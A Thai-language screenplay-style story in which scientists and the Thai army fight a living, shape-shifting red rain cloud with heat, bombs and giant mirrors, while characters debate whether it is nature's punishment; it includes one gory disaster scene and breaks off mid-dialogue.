จอห์นนี่

"เหตุการณ์ไงครับ เหตุการณ์คือหลักฐานชั้นยอด เรารู้ได้ทันทีว่ามันเป็นสิ่งมีชีวิต มันดูเป็นสิ่งมีชีวิตมากเกินไปซึ่งขัดกับลักษณะของสิ่งไม่มีชีวิตอย่างน้ำ"

นักวิทยาศาสตร์ชาวรัสเซีย

"ถ้าอย่างนั้น ที่มันดูดกลืนกินทุกสิ่งที่อยู่รอบตัวมันก็เพราะว่ามันเป็นสิ่งชีวิต....มันต้องการอาหาร....."

นักวิทยาศาสตร์ชาวอังกฤษ

"แล้วเราจะแน่ใจได้ยังไงว่ามันเป็นสิ่งมีชีวิต.....?...." 

จอห์นนี่

"เรื่องนั้นผมจะหาหลักฐานและข้อมูลมาให้ดูเองครับ ตอนนี้เวลา12นาฬิกาตรงแล้วครับ ต้องเลิกประชุมแล้วละครับ ถ้าต้องประชุมอีกเมื่อไหร่ผู้ดูแลการประชุมจะแจ้งไปให้ทุกท่านทราบนะครับ ขอบคุณครับ"

เมื่องานประชุมเลิก จอห์นนี่เตรียมตัวไปหมู่บ้านปกาเกอะญอแห่งหนึ่งในแถบทางภาคเหนือ

ฉากภายนอก: หมู่บ้านบนภูเขา ตอนบ่าย

จอห์นนี่ขับรถถึงหมู่บ้านปกาเกอะญอแห่งหนึ่งซึ่งเป็นที่เดียวกันกับที่ถูกเมฆฝนสีแดงโจมตีเป็นที่แรก สิ่งที่เขาเห็นก็คือทุกสิ่งในหมู่บ้านแห่งนี้ได้หายไปทั้งหมดเหลือเพียงบ้านที่พังไปแล้ว10หลังเท่านั้น

เขาถ่ายวีดีโอสภาพของหมู่บ้านแห่งนี้ไว้ เมื่อเขาเข้าไปในบ้านหลังหนึ่งเขาเห็นน้ำสีแดงเกาะอยู่บนหม้อ เมื่อเขาจะถ่ายวีดีโอหยดน้ำสีแดงค่อยๆไหลมาหาเขา เขาหยิบมะเขือบนพื้นลูกหนึ่งมาวางไว้ข้างหน้าน้ำสีแดงนั้น น้ำสีแดงก็ดูดกลืนมะเขือเข้าไป แล้วมันก็ค่อยๆตรงมาหาเขา เขาจึงจุดไม้ขีดไฟที่ร่วงลงบนพื้นในบ้านหลังแล้วทิ้งใส่น้ำสีแดงนั้น น้ำสีแดงนั้นก็ค่อยระเหยกลายเป็นไอสีแดงอยู่บนพื้น จอห์นนี่เห็นดังนั้นก็ออกมาข้างนอก ไอสีแดงนั้นก็ลอยออกมาจากบ้านแล้วขึ้นฟ้าไป

จอห์นนี่กำลังจะเดินทางกลับจังหวัดพระนครศรีอยุธยา ทว่าพอกำลังจะลงเขาเมฆฝนสีแดงได้ค่อยๆลอยเข้ามาโจมตีที่นั่นและอัศวินกับอลินดาก็อยู่ที่นั่นด้วย ทั้งคู่กำลังจะถูกเมฆฝนโจมตีจอห์นนี่ไปรับตัวทั้งคู่ไว้ได้ทันก่อนที่จะถูกเมฆฝนโจมตี

จอห์นนี่

"คุณมาเที่ยวใช่ไหมครับ หลบเข้าไปในป่าก่อนครับ จะหลบเมฆฝนสีแดงได้ง่ายกว่า" แล้วทั้งสามคนก็เข้าไปในป่า หลบหนีเมฆฝนสีแดงไปเรื่อยๆจนกระทั่งพ้นเมฆฝนสีแดงแล้ว 

จอห์นนี่

"ผมขอตัวไปก่อนนะครับ"

อัศวิน/อลินดา

"ขอบคุณครับ/ขอบคุณค่ะ"

ฉากภายใน: ห้องพักของจอห์นนี่

จอห์นนี่เดินทางกลับมาถึง ผู้ดูแลการประชุมก็แจ้งเข้ามาว่า จะเริ่มการประชุมในวันพรุ่งนี้ เวลา15นาฬิกาตรง

ฉากภายใน: ที่ประชุมนักวิทยาศาสตร์

จอห์นนี่

"เอาละครับ ตอนนี้ผมมีหลักฐานและข้อมูลเพียงพอที่จะอธิบายได้ว่าเมฆฝนนั่นเป็นสิ่งมีชีวิตจริง" จอห์นนี่เปิดวีดีโอที่ตนบันทึกตั้งแต่สภาพหมู่บ้านที่เสียหายไปจนถึงน้ำสีแดงที่ยังตกค้างอยู่ระเหยกลายเป็นไอ

จอห์นนี่

"การโจมตีครั้งแรกของเมฆฝนสีแดงเกิดขึ้นที่หมู่บ้านของชนกลุ่มน้อยแห่งหนึ่ง ครั้งต่อมาที่หมู่บ้านแห่งหนึ่งในจังหวัดอ่างทอง ครั้งที่สามที่ชลบุรี น่าประหลาดที่การโจมตีทั้งสามครั้งนั้นได้ลงในเว็บไซต์ข่าวออนไลน์แต่กลับไม่มีใครแชร์ข่าวพวกนั้นเลย กลายเป็นข่าวที่ไม่ดังนักส่วนหนึ่งคงเป็นเพราะลงในเว็บไซต์ที่ไม่ได้โด่งดังนักในขณะที่การโจมตีที่กรุงเทพกลับเป็นข่าวดังในทั่วโลก และแน่นอนว่าเมฆจะลอยกลับไปหาที่ๆมันเกิดขึ้นมาเองไม่ได้ แต่ในขณะที่ผมไปถ่ายวีดีโอนี้อยู่นั้น มันโจมตีที่นั่นด้วย"

เมื่อทุกคนได้ยินจอห์นนี่พูดดังนั้นต่างฝ่ายต่างก็มองตากัน....

จอห์นนี่

"หากดูจากแผนที่จะพบว่า มันโจมตีจากทางเหนือลงมาใต้ แล้วมันก็กลับจากทางใต้ขึ้นไปข้างบน ซึ่งดูไม่เหมือนกับว่ามันจะเป็นสิ่งไม่มีชีวิตแต่ดูเหมือนสิ่งมีชีวิตมากกว่า  นอกจากนี้ ในตอนท้ายของคลิปเมื่อมันโดนไฟมันก็มีปฏิกริยากลายเป็นไอ ซึ่งสิ่งไม่มีชีวิตโดยปกติแล้วมักจะไม่ตอบสนองต่อความร้อนหรือสิ่งเร้าทุกชนิด ในขณะที่สิ่งมีชีวิตมีปฏิกริยาตอบสนองต่อสิ่งเหล่านั้น เช่นพืชเมื่อมันได้รับแสงน้อยก็จะเอนเข้าหาแสงเพื่อให้ได้รับแสงให้มากที่สุด นี่ก็เป็นอีกเรื่องที่ยืนยันได้ว่ามันเป็น สิ่งมีชีวิต"

นักวิทยาศาสตร์ชาวอเมริกัน

"แล้วถ้ามันเป็นเพียงแค่แก๊สหรือสสารอะไรบางอย่างขึ้นมาล่ะ?"

จอห์นนี่

"ถ้ามันเป็นเพียงแค่สสารหรือแก๊สจริงๆมันจะไม่เป็นเหมือนอย่างที่น้ำฝนสีแดงเป็น ในวีดีโอจะเห็นว่า มันค่อยๆออกมาจากนอกบ้านแล้วขึ้นไปบนฟ้าทั้งหมด ซึ่งแก๊ซหรือสสารอะไรก็ตามต่อให้ระเหยกลายเป็นไอก็ไม่อาจขึ้นไปบนท้องฟ้าได้ทั้งหมดนะครับ อันที่จริงต้องพูดว่า ใช่ว่ามันจะขึ้นไปบนฟ้าอย่างฉับพลันจนสังเกตุเห็นได้ชัดแบบน้ำฝนสีแดงนะครับ"

นักวิทยาศาสตร์ชาวรัสเซีย

"ถ้าอย่างนั้นมันก็เป็นสิ่งมีชีวิตจริงๆ"

นักวิทยาศาสตร์ชาวญี่ปุ่น

"แล้วมีโอกาสที่มันจะเป็นสิ่งมีชีวิตจากต่างดาวหรือเปล่าครับ"

จอห์นนี่

"มีครับ เพราะเราไม่เคยพบสิ่งมีชีวิตบนโลกนี้ที่มีลักษณะเป็นแก๊สหรือเป็นน้ำที่มีชีวิตมาก่อน"

นักวิทยาศาสตร์ชาวอังกฤษ

"ถ้ามันมาจากต่างดาวจริงๆมันก็เป็นหลักฐานยืนยันว่ามนุษย์ต่างดาวมีอยู่จริง"

นักวิทยาศาสตร์ชาวเยอรมัน

"ใช่แล้ว" 

ทันใดนั้นโทรทัศน์ก็รายงานข่าวด่วนเกี่ยวกับเรื่องเมฆฝนสีแดง ผู้ดูแลการประชุมเข้ามาแจ้ง จอห์นนี่จึงเปิดโทรทัศน์

นักข่าวในTV

"ตอนนี้เมฆฝนสีแดงกำลังมาที่เกาะเมือง จังหวัดพระนครศรีอยุธยาแล้วค่ะ สถานีรถไฟอยุธยาได้ถูกเมฆฝนสีแดงทำลายไปแล้วค่ะ........."

นักวิทยาศาตร์ชาวอเมริกา

"ว่าไงนะ!!!?"

นักวิทยาศาสตร์ชาวบราซิล

"กำลังมาที่นี่เนี่ยนะ!?"

นักวิทยาศาสตร์ชาวญี่ปุ่น

"เรารู้แค่ว่ามันเป็นสิ่งมีชีวิต แต่ไมรู้วิธีจัดการมันเนี่ยสิ"

จอห์นนี่

"วิธีจัดการ....."

"ขอข้อมูล ข่าว ทุกอย่างที่เกี่ยวข้องกับตอนที่เมฆฝนสีแดงโจมตีกรุงเทพหน่อยครับ ผมได้ยินมาว่าก่อนที่เมฆฝนสีแดงจะหายไปมันกลายเป็นไอ ผมต้องการรู้ว่ามันเกิดอะไรขึ้น"

ผู้ดูแลการประชุมจึงเอาหนังสือพิมพ์หลายฉบับมาให้ และจอห์นนี่ก็อ่านข่าวเฉพาะที่เกี่ยวข้องกับเมฆฝนสีแดงจนครบทุกฉบับ

จอห์นนี่

"ผมรู้แล้ว"

นักวิทยาศาสตร์ชาวญี่ปุ่น

"อะไรเหรอ?"

จอห์นนี่

"ก่อนที่น้ำสีแดงจะระเหยทั้งกรุงเทพ 10นาที เครื่องบินลำหนึ่งของกองทัพอากาศลำหนึ่งเกิดระเบิดขึ้นหลังจากนั้นน้ำสีแดงก็ระเหยกลายเป็นไอ 5นาทีหลังจากเครื่องบินลำนั้นระเบิด ปั๊มน้ำมันทุกแห่งทั่วกรุงเทพเกิดระเบิดขึ้นพร้อมกัน น้ำสีแดงก็ระเหยกลายเป็นไอสีแดงในทันที และวีดีโอที่ผมบันทึกได้มันก็ระเหยกลายเป็นไอเพราะไฟจากไม้ขีดไฟ"

นักวิทยาศาสตร์ชาวรัสเซีย

"นั่นก็หมายความว่า มันแพ้ความร้อน"

จอห์นนี่

"ใช่แล้วครับ ถ้าเราให้ความร้อนให้กับมันเราต้องจัดการมันได้แน่"

นักข่าวในTV

  "ท่านผู้ชมคะ ตอนนี้เมฆฝนสีแดงเข้าไปในเกาะเมืองแล้วค่ะ....."

นักวิทยาศาสตร์ชาวอเมริกา

"บ้าเอ๊ย"

จอห์นนี่

"ทุกท่านครับ เราต้องรีบหนีออกจากที่นี่โดยเร็วที่สุดแล้วละครับ" 

 ทุกคนจึงเตรียมตัวแล้วหนีออกจากเกาะเมืองพร้อมกัน 

ฉากภายนอก: เกาะเมืองอยุธยา กลางวัน

แล้วฝนสีแดงก็ตกลงในที่แห่งนั้น มันดูดกลืนทุกอย่าง เมื่อผืนน้ำสีแดงเดินทางไปที่ใด ทุกสิ่งแถบนั้นก็ถูกดูดกลืน เหล่าผู้คนและสัตว์ต่างร้องเสียงโหยหวน จากนั้นผืนน้ำสีแดงก็ระเหยตัวเองกลายเป็นไอขึ้นไปบนฟ้า บนพื้นมี.... เลือดสีแดงสดนองท่วมพื้น โครงกระดูกและหัวกะโหลกที่ยังมีอวัยวะเหลือข้างใน ดวงตา กระเพาะอาหาร ตับ ลำไส้ฉีกขาดกระจัดกระจายเกลื่อนพื้นถนนทุกหนแห่งเปี่ยมไปด้วยรอยเลือด

นักข่าวในTV

"นายกรัฐมนตรีมีคำสั่งให้อพยพประชาชนและให้ทังสามเหล่าทัพเตรียมตัวต่อสู้กับเมฆฝนสีแดงและเรียกตัวทีมนักวิทยาศาสตร์ผู้ทำการศึกษาเมฆฝนสีแดงทุกคนไป"

ฉากภายใน: ห้องของนายกรัฐมนตรี

เลขาของนายกรัฐมนตรี

"ทุกท่านครับ ท่านนายกรัฐมนตรี"

นายกรัฐมนตรี

"ที่ผมเรียกพวกคุณนักวิทยาศาสตร์จากทุกประเทศทั่วโลกมาพร้อมกันในวันนี้ คือ เนื่องจากเรื่องเมฆฝนสีแดงสร้างความเสียหายเป็นอย่างมาก ผมอยากจะให้พวกคุณจัดการเรื่องนี้ให้ ก่อนอื่นนะครับ ผมอยากจะทราบข้อมูลเบื้องต้นของเมฆฝนสีแดงหน่อย"

จอห์นนี่

"ครับท่าน ท่านครับ เมฆฝนสีแดงนั่นเป็นสิ่งมีชีวิต เนื่องจากมันมีปฏิกริยาตอบสนองเหมือนกับพวกสิ่งมีชีวิตมากกว่าสิ่งไม่มีชีวิตมากกว่าน้ำหรือสสารทั่วไป การโจมตีครั้งแรกเกิดขึ้นที่ภาคเหนือ ครั้งที่สองที่ภาคกลาง ครั้งที่สามที่ภาคตะวันออก ครั้งที่สี่และครั้งที่ห้าคือภาคกลางและเหนืออีกครั้งค่อนข้างชัดเจนว่ามันคือสิ่งมีชีวิตแน่นอนเพราะมันมีความคิด และที่มันดูดกลืนทุกสิ่งที่อยู่รอบตัวมันอาจเป็นไปได้ว่ามันต้องการอาหารครับ" 

นายกรัฐมนตรี

"อืม ถ้างานพวกคุณต้องทำงานกับกระทรวงกลาโหมนะ เริ่มงานวันนี้ได้เลย"

นักวิทยาศาสตร์(ทุกคน)

"ครับ"

ฉากภายใน: ที่ประชุมกระทรวงกลาโหม

รัฐมนตรีว่าการกระทรวงกลาโหม

"เมฆฝนสีแดงนั่นสร้างความเสียหายต่อทรัพย์สินและชีวิตเป็นอย่างมากอย่างเห็นได้ชัด ดังนั้น เราต้องเตรียมมาตรการรับมือกับเมฆฝนสีแดงโดยเร็วที่สุด ข้อมูลที่เรามีอยู่ในตอนนี้เห็นได้ชัดว่า เมฆฝนสีแดงแพ้ความร้อน แต่ว่าเราจะให้ความร้อนกับมันยังไง" 

จอห์นนี่

"อันที่จริง เราสามารถใช้ระเบิดธรรมดาจัดการกับมันได้ เรื่องที่เราควรทำในตอนนี้คือการค้นหา ตำแหน่งของมันมากกว่านะครับ"

รองรัฐมนตรีกลาโหม

"แล้วเราจะหาตำแหน่งมันยังไงได้ล่ะ"

จอห์นนี่

"การพยากรณ์อากาศไงครับ เมฆฝนสีแดง

มีลักษณะเป็นเมฆฝน

บอกตำแหน่งของมันได้แน่นอน ในตอนนี้ที่เราต้องทำคือระบุตำแหน่งของมันแล้วค่อยคิดวิธีการจัดการกับมันต่อไปครับ"

 นักข่าวพยากรณ์อากาศในTV

 เมฆฝนสีแดง กำลังอยู่ที่ภูเขาหัวโล้นลูกหนึ่งในจังหวัดนครนายก

ฉากภายนอก: ภูเขาหัวโล้น ตอนเที่ยง

กองทัพบกมาถึงที่นี่

เมฆสีแดงก็ลอยลงมาบนพื้นดิน

ทหารตัวประกอบ

"อะไรวะนะ"

นักวิทยาศาสตร์ชาวรัสเซีย

"ทำไมมันไม่ตกลงมาเป็นฝนก่อนล่ะ?"

          จากนั้นกลุ่มเมฆสีแดงก็ค่อยเปลี่ยนรูปร่าง เป็นบ้านหลังหนึ่ง แล้วค่อยมีผู้คนวัวควายเพิ่มเข้ามาซึ่งตรงกับลักษณะของสิ่งที่มันดูดกลืนไปทั้งสิ้น

นักวิทยาศาสตร์ชาวเยอรมัน

"นี่มันหมายความว่า.......เมฆสีแดงเปลี่ยนรูปร่างของตัวเองได้เหรอเนี่ย"

นักวิทยาศาสตร์ชาวญี่ปุ่น

"แล้วถ้าอย่างนั้น ทำไมมันต้องดูดกลืนอย่างอื่นด้วย"

นักวิทยาศาสตร์ชาวญี่ปุ่น

"แล้วมันจะเปลี่ยนรูปร่างของตัวเองไปทำไมกัน"

จอห์นนี่

"หรือว่า...มีความเป็นไปได้ว่า มันต้องการมีรูปร่างที่แน่นอน.........?"

นักวิทยาศาสตร์ชาวอเมริกัน

"รูปร่างที่แน่นอน?"

จอห์นนี่

"เมฆฝนสีแดง มีรูปร่างที่ไม่แน่นอน.....นั่นหมายความว่าบางที...มันอาจจะอยากได้รูปร่างที่แน่นอนเลยดูดกลืนทุกสิ่งเข้าไป"

นักวิทยาศาสตร์ชาวรัสเซีย

"ก็หมายความว่าที่มันทำไป เพราะอยากจะมีรูปร่างที่แน่นอนเป็นของตัวเอง?"

จอห์นนี่

"อาจใช่ ที่มันดูดกลืนทุกสิ่งเข้าไปก็เพื่อจะได้สร้างเป็นรูปร่างที่แน่นอนของตัวเอง"

         ยังไม่ทันไร เมฆสีแดงที่เปลี่ยนรูปแล้วก็มุ่งหน้าตรงมาหาพวกเขา ทางกองทัพจึงตัดสินใจยิงใส่มัน        เต็มกำลัง

ผู้บัญชาการทหาร

"ยิง!"

      สิ้นเสียงคำสั่ง ปืนใหญ่ของรถถังก็ยิงใส่กระหน่ำไปอย่างไม่ขาดสาย ระเบิดใส่เมฆสีแดงกลุ่มนั้น เมฆสีแดงหายไปส่วนหนึ่ง แต่ที่เหลือก็ลอยขึ้นฟ้าไปก่อน  แล้วลอยหายไป

ทหารตัวประกอบ

"ให้ตายสิวะ เราจัดการเจ้าเมฆฝนบ้านั่นบนท้องฟ้าไปเลยไม่ได้เลยหรือไง!?"

จอห์นนี่

"อาจได้"จอห์นนี่พูดตอบกลับ

"ถ้าเราเอาระเบิดติดไว้กับลูกโป่งให้มันลอยไปหาเมฆฝนสีแดง เราอาจจัดการมันบนท้องฟ้าได้"

ทางกองทัพจัดเตรียมระเบิดผูกไว้กับลูกโป่งแล้วใช้เชือกผูกระเบิดทุกลูกติดไว้กับเสาไม้ ที่ทุ่งรกร้างแห่งหนึ่งในภาคตะวันออก ด้วยข้อมูลจากดาวเทียมพยากรณ์อากาศทำให้คาดเดาได้ว่าอีก 30นาทีเมฆฝนสีแดงจะมาถึงที่นั่น

15นาฬิกา 31นาที

เมฆฝนสีแดงมาถึงที่นั่น และลอยอยู่เหนือระเบิดที่ติดลูกโป่งไว้พอดี มือสไนเปอร์จึงยิงตัดเชือกทันที ระเบิดจึงลอยขึ้นไป และระเบิดขึ้น

         เมฆสีแดงค่อยๆหายไปเรื่อยๆ ทว่า ทันใดนั้น เมฆสีแดงก็รวมตัวกันแล้วค่อยๆลอยเข้าไปโจมตีพวกเขา จึงต้องถอย

ทหารตัวประกอบ1

"ให้ตายสิ เกือบโดนมันฆ่าแล้ว"

ทหารตัวประกอบ2

"เจ้าเมฆเวรเอ๊ย จะฆ่ามนุษย์ให้หมดทุกคนเลยไงวะ!?"

จอห์นนี่

"สัตว์ประหลาดเมฆสัตว์ประหลาดฝนต่างหากล่ะครับ"

 ทางกองทัพถอยไปยิงไปจนเมฆฝนสีแดงนั้นลอยกลับขึ้นฟ้าไปจนหมด

ทหารตัวประกอบ1

"เฮ้ย แล้วเราจะหนีไปไหนวะ?"

จอห์นนี่

"เมฆฝนสีแดงมันอยู่บนชั้นบรรยากาศจะลอยไปไหนมาไหนก็ได้ดังนั้นเรากลับไปเริ่มต้นใหม่ที่กรุงเทพดีกว่าครับเราต้องเตรียมแผนใหม่" 

ทั้งหมดจึงเดินทางกลับกรุงเทพ

ฉากภายใน: ที่ประชุม

รัฐมนตรีกลาโหม

"เจ้าเมฆนี่ฤทธิ์มันเยอะเกินแล้ว เราจะสู้มันได้ยังไง"

รองนายกรัฐมนตรี

"พวกเราก็ลองกันทุกวิถีทางแล้ว เจ้าเมฆฝนสีแดงมันร้ายมาก เรารู้ว่าจุดอ่อนของมันคือความร้อนแต่ทุกครั้งที่เราใช้ความร้อนโจมตีมันมันก็โจมตีเรากลับทันที ทำยังไงเราถึงจะกำจัดเมฆฝนสีแดงได้สิ้นซาก?"

จอห์นนี่

"ผมว่านะ เราต้องสะท้อนแสงอาทิตย์หรือแสงอะไรก็ได้ด้วยกระจกแล้วรวมลำแสงออกไปเผาเมฆฝนสีแดงนั้นให้ระเหยไปเลย"

รัฐมนตรีกลาโหม

"งั้นใช้วิธีนี้แล้วกัน เราต้องการกระจกสะท้อนแสงที่ใหญ่และมีมากพอที่จะเผาเมฆฝนสีแดงให้หมดได้ รีบทำกระจกสะท้อนแสงตอนนี้กันเลย"

การประชุมจบลงทุกคนออกจากที่ประชุมและการผลิดกระจกที่ใหญ่ที่สุดก็เริ่มต้นขึ้น ทุกคนก็แยกย้ายเข้าห้องพักแต่พวกช่างเทคนิคทั้งหมดนั้นไปทำกระจกสะท้อนแสงสำหรับจัดการเมฆฝนสีแดงนั้นอยู่

ฉากภายใน: ห้องพักของจอห์นนี่

จอห์นนี่อยู่ในห้องพักแล้วเขาก็เดินตรงไปหน้าต่างที่ปิดอยู่ เขาเห็นเมฆสีแดงอยู่บนท้องฟ้าและเห็นอัศวินกับอลินดาอยู่ที่ถนนจอห์นนี่เห็นดังนั้นก็รีบวิ่งออกจากห้องพักไปหาอัศวินกับอลินดาทันที

อัศวิน

"นั่น คุณคือคนที่มาช่วยเราเมื่อตอนนั้นนี่"

จอห์นนี่

"ใช่ ผมสงสัยตั้งแต่ตอนไปภูเขานั่นแล้ว คุณไปทำอะไรที่นั่น? ไปที่นั่นยังไง? ที่นี่อีก คุณมาทำอะไรที่นี่?"

อลินดา

"ตอนเราไปที่อควาเรียมในชลบุรี เจ้าเมฆฝนสีแดงนั่นโจมตีเราที่นั่น เราเลยพยายามหนีแต่เจ้าน้ำสีแดงที่มาจากเมฆฝนสีแดงนั่นมันเกาะถนน ตึก ทุกที่เลย วิ่งไปซักพักมีถนนสายหนึ่งที่ไม่โดนน้ำสีแดงโจมตีเราเลยขึ้นรถประจำทางหนีไปเราไม่รู้จะไปไหนเราเลยเลือกไปที่ภูเขาลูกนั้นแต่เจ้าเมฆฝนสีแดงนั่นก็โจมตีเราที่นั่นอีกจนกระทั่งคุณมาช่วย มีคนๆหนึ่งขับรถมาเขาก็กำลังหนีเมฆฝนสีแดงนั่นเหมือนกันเราเลยติดรถเขามาตัดสินใจจะกลับบ้านแต่ที่บ้านของเรามีแอ่งน้ำสีแดงอยู่แล้วน้ำสีแดงในแอ่งนั่นก็ค่อยๆมาหาเรา เราก็ติดรถคนอื่นมาจนถึงตอนนี้แหละค่ะ"

จอห์นนี่

"โอเค เข้าใจล่ะ"

อลินดา

"เราขอพักห้องคุณได้ไหมคะ?"

จอห์นนี่

"ได้สิ"

อลินดา

"ว่าแต่คุณชื่ออะไรคะ?"

จอห์นนี่

"จอห์นนี่น่ะ"

แล้วจอห์นนี่ก็พาอัศวินกับอลินดาไปที่ห้องพัก ส่วนเมฆสีแดงนั้นทางกองทัพยิงดอกไม้ไฟขึ้นไปบนฟ้าจนเมฆสีแดงลอยกลับไปยังทิศทางเดิมที่มันลอยมา

อัศวิน

"เหตุการณ์เมฆฝนโจมตีนี่เหมือนธรรมชาติลงโทษเลยนะ"

จอห์นนี่

"ธรรมชาติลงโทษมนุษย์มาตั้งแต่หลายพันปีก่อนแล้ว"

อลินดา

"คุณจอห์นนี่คิดว่าเจ้าเมฆฝนสีแดงนี่คือการลงโทษจากธรรมชาติจริงหรือเปล่าคะ?"

จอห์นนี่

"ผมไม่รู้"

อลินดา

"ถ้ามนุษย์โดนเมฆฝนสีแดงทำลายมนุษย์จนหมดอาจจะดีต่อโลกนี้มากกว่าก็ได้ มนุษย์ทำลายธรรมชาติจนยากจะแก้ไข คนที่ออกมาพูดอย่างงั้นอย่างงี้โจมตีพวกทำลายธรรมชาติก็ไม่เคยแก้ไขอะไรเลยแถมยังทำลายธรรมชาติซะเองอีกต่างหาก มนุษย์สูญพันธ์ซะได้ก็ดีถึงปัญหาจะไม่หายไปแต่ก็ไร้ซึ่งสิ่งที่จะก่อปัญหาต่อ"

จอห์นนี่

"เชื่อสิ ว่าไอ้คนที่ว่าไอ้คนที่พูดต่างๆนาๆนั่นน่ะก็คือตัวการที่คอยทำลายธรรมชาติล่ะ คิดจะแก้ไขหรือเปล่า? ก็ไม่"

อลินดา

"คุณจอห์นนี่คะ คิดว่าการทำลายเมฆฝนสีแดงคือเรื่องดีแล้วเหรอคะ?"

อัศวิน

"เราโดนเมฆฝนสีแดงนั่นโจมตีมานะ"

อลินดา

"โธ่ พี่ก็ กองทัพโจมตีเมฆฝนสีแดงนี่ทีไรมันก็โต้กลับได้ทุกที หนูว่าถึงคราวที่ธรรมชาติอยากให้มนุษย์สูญพันธ์แล้วล่ะ"

จอห์นนี่

"ผมเองก็อยากรู้เหมือนกัน ว่าสิ่งที่ผมทำเป็นสิ่งที่ถูกต้องหรือเปล่า?""มนุษย์ต่อสู้กับธรรมชาติหลายพันปีก่อนแล้ว""ผมอยากรู้ว่า ทำยังไงมนุษย์กับธรรมชาติถึงจะเลิกสู้กันมากกว่า"

อลินดา

"เป็นคำถามที่หาคำตอบยากจริงๆนะคะ"

ทางกองทัพสามารถผลิตกระจกที่มีเส้นผ่านศูนย์กลาง1เมตรจำนวน20ชิ้นได้สำเร็จแล้วเตรียมพร้อมติดขาตั้งให้กับกระจกทุกอันปิดผ้าคลุมเอาไว้ก่อน

ฉากภายใน: ห้องพักของจอห์นนี่

โทรศัพท์ของจอห์นนี่ดังขึ้น จอห์นนี่ก็รับโทรศัพท์

จอห์นนี่

"ครับ     เข้าใจแล้วครับ    ผมจะไปเดี๋ยวนี้แหละครับ"

อัศวิน/อลินดา

"เกิดอะไรขึ้นเหรอครับ/คะ?"

จอห์นนี่

"ทางกองทัพทำกระจกขนาดใหญ่พิเศษสำหรับรวมแสงจัดการเมฆฝนสีแดงเสร็จแล้วน่ะ"

อลินดา

"ไปด้วยได้ไหมคะ?

อัศวิน

"โธ่เอ๊ย อลินดา"

อลินดา

"โธ่เอ๊ย พี่ก็ เราเผชิญเจ้าเมฆฝนสีแดงนี่กี่รอบแล้ว หนูเองก็เริ่มท้อ เจ้าเมฆฝนสีแดงนี่มันไปได้ทุกที่ หนูไม่รู้หรอกนะว่ามันเกิดอะไรขึ้น แต่ยิ่งเจอเจ้าเมฆฝนสีแดงนี่เท่าไหร่หนูก็รู้สึกว่าเรากำลังหนีธรรมชาติอยู่ เรากำลังสู้ธรรมชาติ นั่นมันเหมือนเราหนีตัวเองอยู่ นั่นมันเหมือนเราทำร้ายตัวเองอยู่ เพราะเราเองก็คือธรรมชาติ"

จอห์นนี่

"นั่นสินะ เราสู้กับธรรมชาติมาโดยตลอดแต่ไม่มีใครตระหนักเลยซักคนต่อให้ตระหนักก็ไม่คิดจะแก้ไขอะไร"

Continuous

แล้วจอห์นนี่ก็ไปยังที่ทำการกระทรวงกลาโหมเพราะกองทัพตัดสินใจเอากระจกใหญ่พิเศษไปไว้ที่นั่นอลินดาก็ตามจอห์นนี่ไปอัศวินจึงตามน้องสาวของเขาไปด้วย

จอห์นนี่ อลินดา อัศวินไปถึงที่ทำการกระทรวงกลาโหมก็เป็นตอนที่ทุกคนในที่ประชุมกำลังรอฟังข้อมูลการเคลื่อนไหวของเมฆฝนสีแดงจากการพยากรณ์อากาศของกรมอุตุวิทยาอยู่พอดี

ผู้บัญชาการทหาร

"เราได้ตำแหน่งมันแล้ว มันก็กำลังมาที่กรุงเทพนี่แหละ อีก1ชั่วโมง มันก็จะมาถึงสะพานพระราม8แล้ว รีบไปที่นั่นกันเถอะ ตอนนี้ถนนไร้รถพอดีเลยด้วย"

แล้วทางกองทัพก็ยกทัพไปสะพานพระราม8ทันทีพร้อมทั้งนักวิทยาศาสตร์ที่มาสืบสวนเรื่องเมฆฝนสีแดงรวมทั้งจอห์นนี่อัศวินอลินดาก็ไปที่นั่นด้วย เมื่อไปถึงแล้วตอนนั้นท้องฟ้ายังไร้ซึ่งเมฆสีแดงอยู่แล้วเมฆสีแดงก็ลอยมาจากทางทิศตะวันออกเฉียงใต้ของกรุงเทพมา

ผู้บัญชาการทหาร

"เปิดผ้าคลุมออก"สิ้นคำสั่งนายทหารก็เปิดผ้าคลุมกระจกทุกอันออกแล้วรวมลำแสงไปยังจุดเดียวกันที่เมฆฝนสีแดงจุดที่ลำแสงไปโดนเมฆสีแดงนั้น เมฆสีแดงก็ค่อยหายไปอย่างไร้ร่องรอยทันใดนั้นก็มีฝนสีแดงตกลงมาจากเมฆสีแดง

ทหารตัวประกอบ1

"แย่ล่ะ มันกำลังกลายเป็นฝน"

ผู้บัญชาการทหาร

"มันกำลังโจมตีเมืองที่ฝั่งนั้นแบ่งกำลังเป็นสองกองอีกกองไปทำลายเจ้าน้ำสีแดงที่ฝั่งนั้น อีกกองทำลายเมฆสีแดงจากฝั่งนี้"

กองทัพก็แบ่งออกเป็นสองกอง กองหนึ่งมุ่งหน้าจากสะพานเข้าไปในเมืองแล้วทำการรวมลำแสงทำลายน้ำสีแดงของอีกฝั่งนั้นจนน้ำสีแดงนั้นระเหยกลายเป็นไอไปรวมกับเมฆสีแดงบนท้องฟ้า

อลินดา

"เราจะกำจัดเมฆฝนสีแดงจริงใช่ใหมคะ?"

จอห์นนี่

"ใช่"

อลินดา

"นี่คือการกระทำที่ดีที่สุดแล้วจริงๆเหรอคะ?"

จอห์นนี่

"ผมก็อยากแน่ใจเหมือนกัน"

อัศวิน

"อลินดา เธอคิดจริงเหรอว่าเมฆฝนสีแดงเป็นบทลงโทษจากธรรมชาติ?

อลินดา

"คิดว่างั้นแหละค่ะ"

อลินดา

"การที่มนุษย์เอาชนะธรรมชาติเนี่ยมันดีแล้วเหรอคะ?"

จอห์นนี่

"นั่นสินะ""เราทิ้งขยะลงทะเล เราทิ้งขยะเกลื่อนกลาดไปทั่ว เราทำลายชั้นบรรยากาศ เราทำลายชั้นโอโซน เราปล่อยแก๊สพิษไว้ในอากาศเพื่อให้พวกเราหายใจเอาแก๊สพิษพวกนั้นเข้าไปเอง แต่ไมีใครสนใจ ไม่มีใครแก้ไขอะไรเลย"

อีกฝั่งนั้นน้ำสีแดงถูกลำแสงยิงจนระเหยกลับไปรวมกับเมฆสีแดงจนหมดส่วนเมฆสีแดงก็ถูกลำแสงไปเรื่อยๆจนกระทั่งเมฆสีแดงนั้นหายไปจนหมดสิ้นจากท้องฟ้า

อลินดา

"การทำลายเมฆฝนสีแดงเป็นสิ่งที่ถูกต้องแล้วเหรอคะ? มันเหมือนกัมันเหมือนกับว่าเราพยายามเอาชนะธรรมชาติเลย"

จอห์นนี่

